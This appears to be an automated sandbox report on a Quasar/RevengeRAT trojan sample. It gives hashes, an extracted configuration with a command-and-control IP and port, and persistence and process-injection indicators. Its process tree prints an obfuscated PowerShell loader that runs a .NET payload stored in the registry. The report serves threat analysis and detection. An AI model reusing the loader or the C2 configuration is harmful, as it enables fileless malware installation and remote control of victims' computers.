quasar | 62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210

Analysis

max time kernel
154s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
18/04/2022, 13:21

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General

Target
62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210.exe
Size 883KB
Sample220418-qlv9wscec2
SHA256 62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210
MD5 9d3dca624fcbb59e601bc27fdf95a24f
SHA1 91b9290e35741d9477df256c16b20b34b096eb5d
SHA512 c57e7366620324574e6c7e87ecbfdf5e52669d565ad684f6d4a370dee1bade350da0f645ba498ee76ac864c7ee171d327409576978af8db110bb367443d60370
MD5 SHA1 SHA512

Score

10^/10

quasar revengerat office spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.0.0

Botnet

Office

5.45.76.7:5550

Mutex

bqZfZS8D073e7dff2o

Attributes

encryption_key
2OMUhs0IdkE7pqGp0Xfx
install_name
csrss.exe
log_directory
Logs
reconnect_delay
3000
startup_key
NET framework
subdirectory
SubDir

Signatures

Quasar Payload 2 IoCs

resource	yara_rule
behavioral2/memory/3148-139-0x0000000000000000-mapping.dmp	family_quasar
behavioral2/memory/3148-140-0x0000000000400000-0x000000000044E000-memory.dmp	family_quasar

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210.url	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210.url	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4432 set thread context of 3148	4432	powershell.exe	86

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\winmgmts:{impersonationLevel=impersonate}!\root\default:StdRegProv	62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	13	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4668	62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	3148	MSBuild.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4668 wrote to memory of 4432	4668	62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210.exe	84
PID 4668 wrote to memory of 4432	4668	62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210.exe	84
PID 4668 wrote to memory of 4432	4668	62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210.exe	84
PID 4432 wrote to memory of 3148	4432	powershell.exe	86
PID 4432 wrote to memory of 3148	4432	powershell.exe	86
PID 4432 wrote to memory of 3148	4432	powershell.exe	86
PID 4432 wrote to memory of 3148	4432	powershell.exe	86
PID 4432 wrote to memory of 3148	4432	powershell.exe	86
PID 4432 wrote to memory of 3148	4432	powershell.exe	86
PID 4432 wrote to memory of 3148	4432	powershell.exe	86
PID 4432 wrote to memory of 3148	4432	powershell.exe	86

C:\Users\Admin\AppData\Local\Temp\62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210.exe
"C:\Users\Admin\AppData\Local\Temp\62486fb00ccfcdf4b654901e57034007974124a40428f3f07bfab89bd64c9210.exe"
1⤵
- NTFS ADS
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:4668
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell iex([Text.Encoding]::UTF8.GetString(@(91,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,46,84,104,114,101,97,100,93,58,58,71,101,116,68,111,109,97,105,110,40,41,46,76,111,97,100,40,91,77,105,99,114,111,115,111,102,116,46,87,105,110,51,50,46,82,101,103,105,115,116,114,121,93,58,58,67,117,114,114,101,110,116,85,115,101,114,46,79,112,101,110,83,117,98,75,101,121,40,39,83,111,102,116,119,97,114,101,92,97,100,104,68,67,109,81,110,88,39,41,46,71,101,116,86,97,108,117,101,40,39,98,78,75,116,102,80,39,41,41,59,91,69,101,115,90,88,81,69,66,83,112,107,118,90,121,93,58,58,75,65,83,71,81,66,110,122,122,73,70,83,40,39,72,75,107,68,71,39,41)))
  2⤵
  - Drops startup file
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3148

Network

MITRE ATT&CK Matrix

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Downloads

memory/3148-145-0x0000000006430000-0x000000000643A000-memory.dmp

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memory/3148-144-0x0000000006270000-0x00000000062AC000-memory.dmp

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memory/3148-143-0x0000000005E40000-0x0000000005E52000-memory.dmp

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memory/3148-142-0x00000000050E0000-0x0000000005172000-memory.dmp

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memory/3148-141-0x00000000054D0000-0x0000000005A74000-memory.dmp

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memory/3148-140-0x0000000000400000-0x000000000044E000-memory.dmp

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memory/4432-134-0x00000000052D0000-0x0000000005336000-memory.dmp

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memory/4432-138-0x00000000066A0000-0x00000000066BA000-memory.dmp

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memory/4432-137-0x00000000078B0000-0x0000000007F2A000-memory.dmp

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memory/4432-136-0x0000000006170000-0x000000000618E000-memory.dmp

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memory/4432-135-0x0000000005340000-0x00000000053A6000-memory.dmp

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memory/4432-133-0x00000000050B0000-0x00000000050D2000-memory.dmp

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memory/4432-132-0x0000000005430000-0x0000000005A58000-memory.dmp

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memory/4432-131-0x0000000002840000-0x0000000002876000-memory.dmp

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